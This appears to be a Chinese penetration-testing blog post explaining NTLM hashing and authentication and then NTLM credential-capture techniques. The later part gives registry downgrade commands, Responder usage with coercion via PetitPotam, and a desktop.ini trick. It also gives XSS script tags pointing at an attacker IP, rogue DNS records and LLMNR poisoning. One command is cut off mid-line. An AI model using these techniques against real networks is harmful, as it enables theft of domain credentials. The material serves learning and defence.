没有人比我更了解NTLM协议

关注公众号回复20231110获取最新网络安全以及内网渗透等资料。

NTLM协议

LM Hash加密算法

LM(LAN Manager)身份认证是微软推出的一个身份认证协议，其使用的加密算法是LM Hash加密算法。LM Hash本质是DES加密，尽管LM Hash较容易被破解，但为了保证系统的兼容性，Windows只是将LM Hash禁用了(从Windwos Vista和Windows Server 2008开始，Windows默认禁用了LM Hash)。LM Hash明文密码被限定在14位以内，也就是说，如果要停止使用LM Hash，将用户的密码设置为14位以上即可。

如果LM Hash的值为：aad3b435b51404eeaad3b435b51404ee，说明LM Hash为空值或者被禁用了。这里需要记住的是aad3b…后面会看到。

NTLM Hash加密流程

NTLM Hash的加密方程如下，可以看到NTLM Hash是由明文密码经过三步加密而成：

NTLM Hash = md4(unicode(hex(password)))

1）先将用户密码转换为16进制格式。

2）再将16进制格式的字符串进行ASCII转Unicode编码。

3）最后对Unicode编码的16进制字符串进行标准MD4单向哈希加密。

如下可以看到P@ss1234通过NTLM Hash的加密流程一步步加密成为NTLM Hash：74520a4ec2626e3638066146a0d5ceae。

python3 -c 'import hashlib,binascii; print("NTLM_Hash:"+binascii.hexlify(hashlib.new("md4", "P@ss1234".encode("utf-16le")).digest()).decode("utf-8"))'

Windows系统存储的NTLM Hash

用户的密码经过NTLM Hash加密后存储在 %SystemRoot%\system32\config\SAM 文件里

当用户输入密码进行本地认证的过程中，所有操作都是在本地进行的，系统将用户输入的密码转换为NTLM Hash，然后和SAM文件中的NTLM HASH进行比较，相同说明密码正确，反之密码错误，当用户注销，重启，锁屏后，操作系统会让winlogon.exe显示登录界面，也就是输入框，当winlogon.exe接收输入后，将密码交给lsass.exe进程，lsass.exe进程中会存一份明文密码，将明文密码加密成NTLM Hash，与SAM数据库进行比较认证。我们使用mimikatz就是从lsass.exe进程中抓取明文密码或者密码哈希。使用mimikatz抓取lsass内存中的凭据如图所示。

使用MSF或者CobaltStrike通过转储哈希抓到的密码格式如下，第一部分是用户名，第二部分是用户的SID值，第三部分是LM Hash，第四部分是NTLM Hash，其余部分为空。

这里可以看到Administrator是用户 500是他的SID值，这个SID后面也需要用，后面跟着的就是LM的Hash值，可以看到他是aad3b开头的表示他是的一个空值，第四部分是NTLM HASH值，他是通过hex编码之后在进行unicode编码最后通过MD4加密之后的值。

从Windows Vista和Windows Server 2008开始，由于默认禁用了LM Hash，因此第三部分的LM Hash固定为空值，第四部分的NTLM-Hash才是用户密码加密后的凭据。

NTLM协议认证

其实简单来说，就是客户端去访问SMB服务的时候，需要输入服务端的账号和密码，来进行校验身份，此时客户端会将服务端的密码存储在自己的本地中，然后当服务端发送过来的质询消息中包含质询值发送过来的时候，客户端会将之前保存服务端的那个密码的hash，对这个质询值进行加密，加密之后封装成认证消息发送给服务端，服务端紧接着用自己的密码也对质询值进行加密。然后跟客户端加密的进行比对，如果是一样的那么校验通过，如果不一样，那么校验失败。

其实就是客户端对质询值进行加密封装发送给了服务端，服务单又对质询之进行加密，然后这两个进行比对，关键就在于这个质询值。

工作组环境下NTLM认证抓包

由于NTLM只是底层的认证协议，其必须镶嵌在上层应用协议里面，消息的传输依赖于使用NTLM的上层协议，比如SMB、HTTP等。如下实验是基于SMB服务利用NTLM进行验证。实验环境如下:

前四个包都是协商的一些信息，里面主要看Security mode。

这里的Security mode下的Signing enabled为True，而Signing required为False，表明当前客户端虽然支持签名，但是协商不签名！

协商包

在协商包中，客户端发送到服务端以启动NTLM身份验证的包，这里主要以flag支持的选项来验证基本规则，并且是可选的，它还可以向服务器提供客户端的工作站名称和客户端工作站具有成员身份的域；服务器使用此信息来确定客户端是否有资格进行本地身份验证，我们还记得上面所说的，服务端收到协商消息包之后，会读取其内容，然后从中选择出自己能接受的服务内容，以及加密等级等等，这里的选择其实就是选择flag中的选项，选择完成之后然后发送给客户端，并且里面包含一个质询值。

这里的flag中的标记表示:

Negotiate Unicode： 客户端设置此标志以指示它支持 Unicode 字符串。

Negotiate OEM： 设置此值表示客户端支持 OEM 字符串。

Request Target:请求服务器发送带有Type2质询回复的身份验证目标。

Negotiate NTLM:表示支持NTLM身份验证。

Negotiate Domain Supplied: 协商提供的域

Negotiate Workstation Supplied: 指示客户端正在随消息发送其工作站名称。

Negotiate Always Sign: 表示身份验证后客户端和服务器之间的通信应携带“虚拟”签名。

Negotiate NTLM2 Key: 表明该客户端支持NTLM2签名和封装方案；如果协商，这也会影响响应计算。

Negotiate 128:表示该客户端支持强（128 位）加密。

Negotiate 56:表示该该客户端支持中等（56 位）加密。

提供的域是一个安全缓冲区，其中包含客户端工作站具有成员资格的域。即使客户端支持 Unicode，它也始终采用 OEM 格式。

提供的工作站是包含客户端工作站名称的安全缓冲区。这也是 OEM 而非 Unicode。

如下是操作系统版本的结构:

分别表示主版本为6，次版本为1，内部版本号为7600。

我们可以使用winver.exe找到操作系统版本。

如上就是Type1的协商消息，仅包含 NTLMSSP 签名、NTLM 消息类型和最小标志集（协商 NTLM 和协商 OEM）。

完整如下:

小总结:

分析这些消息可以看到:

客户端可以支持 Unicode 或 OEM 字符串（协商 Unicode 和协商 OEM 标志均已设置）。

客户端支持 NTLM 身份验证（协商 NTLM）

客户端请求服务器发送有关身份验证目标的信息（已设置请求目标）。

创建类型1消息后，客户端将其发送到服务器。服务器分析消息，就像我们刚刚所做的那样，并创建回复。这将我们带入下一个主题，即类型 2 消息。

质询包

可以看到这里的flag值明显是有变化的，也就代表着服务器支持和同意的功能列表，

可以看到如下完整图：

Type2消息由服务端发送给客户端，以响应客户端的Type1消息，它的作用就是完成与客户端的选项谈判，同时也像客户端发出质询，它可以选择包含有关身份验证目标的信息。

我们来看一下标志位:

Negotiate UNICODE: 服务器设置此标志表示他将使用Unicode字符串，但必须客户端支持Unicode，这里才可以设置Unicode或OEM，如果不支持那么就不能设置，并且不能同时设置两者，我们可以看到OEM是没有设置的。

Negotiate NTLM:表示服务端支持NTLM身份验证。

Negotiate Sign:表示身份验证后客户端和服务器之间的通信应携带“虚拟”签名。

认证包

Auth 认证消息，是客户端发给服务端的认证消息。此消息包含客户端对Type 2质询消息的响应，这表明客户端知道帐户密码。Auth消息还指示身份验证帐户的身份验证目标（域或服务器名）和用户名，以及客户端工作站名。

Auth认证消息中最主要的便是Type 3 Response响应消息。Response响应消息是用服务器密码的NTLM Hash加密Challenge质询值后经过一系列运算得到的，Response响应消息中可以提取出Net-NTLM Hash。在Type 3 Response响应消息中有六种类型的响应：

**· LM响应：**由低版本的客户端发送，这是“原始”响应类型。

**· NTLM v1响应：**这是由基于NT的客户端发送的，包括Windows 2000和XP。

· NTLM v2响应： 在Windows NT Service Pack 4中引入的一种较新的响应类型。它替换启用了 NTLMv2的系统上的NTLM响应。

**· LMv2响应：**替换NTLMv2系统上的LM响应。

**· NTLMv2会话响应：**用于在没有NTLMv2身份验证的情况下协商NTLMv2会话安全性时，此方案会更改LM NTLM响应的语义。

**· 匿名响应：**当匿名上下文正在建立时使用; 没有提供实际的证书，也没有真正的身份验证。“存根”字段显示在类型3消息中。

这6种响应使用的加密流程一样，都是前面我们说的Challenge/Response 质询响应验证机制，不同之处在于Challenge质询值和加密算法不同。至于选择哪个版本的响应由LmCompatibilityLevel决定，至于LmCompatibilityLevel，我们会在后面讲到。

如图所示可以看到Response响应消息中是NTLM v2响应类型：

如图所示，可以看到在NTLMv2 Response响应消息下的NTProofStr字段，该字段的值是用做数据签名的Hash(HMAC-MD5)值，目的是保证数据的完整性。

而对于NTLMv2 Hash和NTProofStr，有如下计算公式。

· NTLMv2 Hash = HMAC-MD5(unicode(hex((upper(UserName)+DomainName))), NTLM Hash)

· NTProofStr = HMAC-MD5(challenge + blob, NTLMv2 Hash)

如图所示，可以看到在NTLMv2 Response响应消息下的MIC字段。

微软为了防止数据包中途被篡改，使用exportedSessionKey加密三个NTLM消息，来保证数据包的完整性。而该exportedSessionKey仅对启动认证的帐户和目标服务器是已知的。因此有了MIC，攻击者就无法中途修改NTLM认证数据包了。

在认证完成后，根据协商的字段值来确定是否需要对后续数据包进行签名。那么如果需要签名的话，是如何进行签名呢？

如图所示，我们可以看到在第七个数据包中的Session Key字段。Session Key是用来进行协商加密密钥的。

小总结:

工作组环境下NTLM认证流程可以分为如下4步。

①：当客户端需要访问服务器的某个服务时，就需要进行身份认证。于是，当客户端输入服务器的用户名和密码进行验证的时候，客户端就会缓存服务器密码的NTLM Hash值。然后，客户端会向服务端发送一个请求，该请求利用NTLM SSP 生成NTLMSSP_NEGOTIATE消息（被称为Type 1 NEGOTIATE 协商消息）。

②：服务端接收到客户端发送过来的Type 1消息后，会读取其中的内容，并从中选择出自己所能接受的服务内容，加密等级，安全服务等。然后传入NTLM SSP，得到NTLMSSP_CHALLENGE 消息（被称为Type 2 Challenge 质询消息），并将此Type 2消息发回给客户端。此Type 2消息中包含了一个由服务端生成的16位随机值，此随机值被称为Challenge质询值，服务端会将该Challenge质询值缓存起来。

③：客户端收到服务端返回的Type 2消息后，读取出服务端所支持的内容，并取出其中的Challenge质询值，用缓存的服务器密码的NTLM Hash对其进行加密得到 Response消息。最后将Response和一些其他信息封装到NTLMSSP_AUTH认证消息中(被称为Type 3 Authenticate认证消息)，发往服务端。

④：服务端在收到Authenticate认证消息后，从中取出Net-NTLM Hash。然后用自己密码的NTLM Hash 对Challenge质询值进行一系列加密运算，得到自己计算的Net-NTLM Hash。并比较自己计算出的Net-NTLM Hash 和客户端发送的Net-NTLM Hash是否相等。如果相等，则证明客户端输入的密码正确，从而认证成功，反之则认证失败。以上就是工作组环境下NTLM认证的流程。下面我们来使用

域环境下NTLM身份验证

1.客户端想要访问服务器的某个服务，需要进行身份认证。于是，在客户端输入服务器的用户名和密码进行验证之后，客户端会缓存服务器密码的NTLM Hash值。然后，客户端会向服务端发送一个请求，该请求利用 NTLM SSP生成NTLMSSP_NEGOTIATE消息（被称为Type 1 NEGOTIATE 协商消息）

2.服务端接收到客户端发送过来的Type 1消息，会读取其中的内容，并从中选择出自己所能接受的服务内容，加密等级，安全服务等。然后传入 NTLM SSP，得到NTLMSSP_CHALLENGE 消息（被称为Type 2 Challenge 质询消息），并将此Type 2消息发回给客户端。此Type 2消息中包含了一个由服务端生成的16位随机值，此随机值被称为Challenge质询值，服务端将该Challenge值缓存起来。

3.客户端收到服务端返回的Type 2消息，读取出服务端所支持的内容，并取出其中的Challenge质询值，用缓存的服务器密码的NTLM Hash对其进行加密得到Response消息，Response消息中可以提取出Net-NTLM Hash。最后将Response和一些其他信息封装到NTLMSSP_AUTH消息中（被称为Type 3 Authenticate认证消息)，发往服务端。

4.服务端接收到客户端发送来的 NTLMSSP_AUTH 认证消息后，通过Netlogon协议与域控建立一个安全通道，将验证消息发给域控。

5.域控收到服务端发来的验证消息后，从中取出Net-NTLM Hash。然后从数据库中找到该用户的NTLM Hash，对Challenge进行一系列加密运算，得到自己计算的Net-NTLM Hash。并比较自己计算出的Net-NTLM Hash和服务端发送的Net-NTLM Hash是否相等，如果相等，则证明客户端输入的密码正确，认证成功，反之认证失败，域控将验证结果发给服务端。

6.服务端根据DC返回的结果，对客户端进行回复。以上就是域环境下NTLM认证的流程。

如上就是域环境下的NTLM认证流程，其实就是比工作组多了两步，在工作组中第四步是直接使用自己的NTLM HASH来对challenge加密之后进行比对，而在域环境下是发给了域控，由域控来使用这个服务端的hash对challenge质询值加密比对。

NTLM v1和NTLM v2的区别

NTLM v1身份认证协议和NTLM v2身份认证协议是NTLM身份认证协议的不同版本。目前使用最多的是NTLM v2版本。

NTLM v1与NTLM v2最显著的区别就是Challenge质询值与加密算法不同，共同之处就是都是使用的 NTLM Hash进行加密。

Challenge质询值：

NTLM v1：8字节

NTLM v2：16字节

Net-NTLM Hash使用的加密算法：

NTLM v1：DES加密算法

NTLM v2：HMAC-MD5加密算法

LmCompatibilityLevel

LmCompatibilityLevel值用来确定网络登录使用的质询/响应身份验证协议。此选项会影响客户端使用的身份验证协议的等级、协商的会话安全的等级以及服务器接受的身份验证的等级，如下是LmCompatibilityLevel为不同值的含义:

我们可以手动修改本地安全策略进行LmCompatibilityLevel值的修改。打开本地安全策略——>安全设置——>本地策略——>安全选项——网络安全: LAN管理器身份验证级别，默认其值是没有定义。没有定义的话，就是使用的默认值。

如图所示，可以看到“网络安全: LAN管理器身份验证级别”默认是没有定义的。

要修改成哪种响应，选中该响应类型，然后应用即可。如图所示：

或者也可以执行命令修改注册表HKLM\SYSTEM\CurrentControlSet\Control\Lsa\lmcompatibilitylevel字段的值来修改该响应类型，默认情况下是没有lmcompatibilitylevel字段的。

注册表HKLM\SYSTEM\CurrentControlSet\Control\Lsa\lmcompatibilitylevel字段的值对应的响应如图所示：

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 2 /f

可以通过如上命令修改注册表lmcompatibilitylevel的值为2：

Net-NTLM v1 Hash破解

由于NTLM v1身份认证协议加密过程存在天然缺陷，只要获取到Net-NTLM v1 Hash，都能破解为NTLM hash，这与密码强度无关。在域环境中这更有效，因为域中使用hash即可远程连接目标机器。如果域控允许发送NTLM v1响应的话，我们就可以通过与域控机器进行NTLM认证，然后抓取域控的Net-NTLM v1 Hash，破解为NTLM Hash。使用域控的机器账号和哈希即可导出域内所有用户哈希！

但是自从Windows Vista开始，微软就默认使用NTLM v2身份认证协议，要想降级到NTLM v1的话，需要手动进行修改，并且需要目标主机的管理员权限才能进行操作。

执行如下命令修改注册表：

#修改注册表开启Net-NTLM v1:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 2 /f

#为确保Net-NTLMv1开启成功，再修改两处注册表键值
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v NtlmMinClientSec /t REG_DWORD /d 536870912 /f
reg add HKLM\SYSTEM\CurrentControlSe

如图所示，执行命令修改注册表成功！

然后我们使用Responder抓取目标主机的Net-NTLM v1 Hash。

注意，新版本的Responder的Challenge质询值为任意值，我们需要修改Responder.conf文件的Challenge的值为 1122334455667788。如图所示：

然后使用Responder执行如下命令进行Net-NTLM v1 Hash的监听，之后使用打印机漏洞或Petitpotam触发域控机器强制向我们的机器进行NTLM认证，即可收到域控的Net-NTLM v1 Hash了。

这里需要将responder的smb这些选项打开，如上图的那些SMB 都是On的状态。

responder -I eth0 --lm

使用打印机漏洞或Petitpotam漏洞触发。

这里第一个参数是kali的ip第二个参数是DC的ip

成功获得Net NTLM V1的Hash

利用ntlm进行的信息收集

在type2返回Challenge的过程中，同时返回了操作系统类型，主机名，netbios名等等。这也就意味着如果我们在能跟服务器进行ntlm 交流中，给服务器发送一个type1的请求，服务器返回type2的响应，这一步，我们就可以得到很多信息。前面我们说过ntlm是一个嵌入式的协议，消息的传输依赖于使用ntlm的上层协议，比如SMB,LDAP,HTTP等。我们以SMB为例。在目标主机开放了445或者139的情况，通过给服务器发送一个type1的请求，然后解析type2的响应。就可以收集到一些信息。

使用MSF的模块进行信息收集。

最后说下NTLM V1和NTLM V2的格式:

V2:username::domain:challenge:HMAC-MD5:blob

V1:username::hostname:LM response:NTLM response:challenge

NTLM请求发现

desktop.ini文件

点击选项将隐藏受保护的操作系统文件取消，然后将修改desktop.ini文件的Icon指向为恶意服务器的地址。


kali已收到Net NTLMHash

XSS触发

如果目标服务器存在xss漏洞的话，我们可以将我们恶意的SMB服务插进去，当去访问的时候就会触发。但是仅限于IE和edge，其他浏览器不允许从http跨到file域。

通过HTTP请求认证

这里是通过HTTP请求认证，不通过UNC的方式来获取Net Hash。

这里将payload改为:

注意这里使用的是 // 而不是\

当使用浏览器无论是ie还是其他的浏览器去访问的时候会提示需要输入用户名以及密码才能验证。

这里的原因是因为浏览器发起http请求的时候，如果不是该站点的域名位于企业内部网或在于可信站点列表中，否则会跳出认证框让操作者再输入一次。

如下图可以看到浏览器的安全配置:

可以看到它只会再Interanet区域自动登录，也就是说如果不是信任的站点或者这个站点再企业内部网的话，他就会跳出认证框。

那至今为止，在默认的配置情况底下，如果有xss，那构造的页面的效果有两种

构造unc，访问smb 协议，但是这种方式的话就只有IE和edge能行

<script src="\\172.16.100.1\xss">

构造http，访问http 协议，这种方式并不限制浏览器访问，但是除非该站点的域名位于企业内部网或存在于可信站点列表中，不然是不会使用系统默认的凭据进行登录的，会跳出认证框，让用户填写账号密码。

<script src="//172.16.100.1\xss">

第二点该站点的域名位于企业内部网也是行的，那如果我们可以修改控制域内的DNS是不是就可以动点手脚了。

在查看DNS的ACL的时候，我发现了一条规则，也就是说只要是域用户或认证用户都是可以再DNS里面创建子对象的，也就意味着如果我们是域内认证 用户的话，那我们就可以在域内添加域名。

那么我们就创建一个DNS解析到恶意服务器的域名。

Import-Module .\Invoke-DNSUpdate.ps1
Invoke-DNSUpdate -DNSType A -DNSName test -DNSData kali的IP

紧接着我们就可以去域内机器或者DC上去输入 //test/x 这个就等价于 //10.211.1.130/x

只是这个test域名是信任的。并且在对方的内部网中。

但是我们要记住2012以及之后的机器是不行的，但是在win7是可以的。

因为2012的ie浏览器默认配置变成了需要输入账号密码

但是win7是可以的，是没有任何问题的，如图:

如上图，为什么会显示Skipping previously，这是因为我之前已经获取过win7的hash了，所以这里不会再显示了，如果需要显示需要加上-wrfv参数即可。

LLMNR投毒

windows 解析域名的顺序是

• Hosts
• DNS (cache / server)
• LLMNR
• NBNS

也就是说如果Hosts文件里面不存在，就会使用DNS解析。如果DNS解析失败，就会使用LLMNR解析，如果LLMNR解析失败，就会使用NBNS解析。

LLMNR发的是一个广播，其实和ARP是差不多的，只不过ARP问的是这个IP的MAC地址是多少，所以如果有攻击者的恶意回应的话，就会导致ARP的欺骗，LLMNR跟ARP是差不多的，LLMNR问的是这个地址名称对应的IP地址是多少，如果攻击者回应说这个IP地址就是我自身的恶意服务器的地址，那么就会导致攻击者获取到Net Ntlm。

但是也取决于浏览器的安全设置，windows2012及以上ie浏览器默认使用用户和密码提示。

我们这里将浏览器设置为自动使用当前用户名和密码登录。

然后我们去访问一个不存在的域名，他会先本地Host文件查找对应域名，查到不到的话，就会请求Dns服务器获取解析IP，Dns解析失败之后，他会去LLMNR协议发送广播，在这个广播域中所有有都会收到，当然路由器会隔离广播域。

如下图wireshark抓到的包:

这里会去问dwad…的ip地址是多少，那么第三个包就是攻击者回复的ip地址。这个是可以通过Responder来实现的。

这里的Responder的版本是2.3的版本，高版本是没有命令参数的。

当我们去随意访问一个域名就会进入解析阶段，则攻击者就会收到目标的Net Ntlm。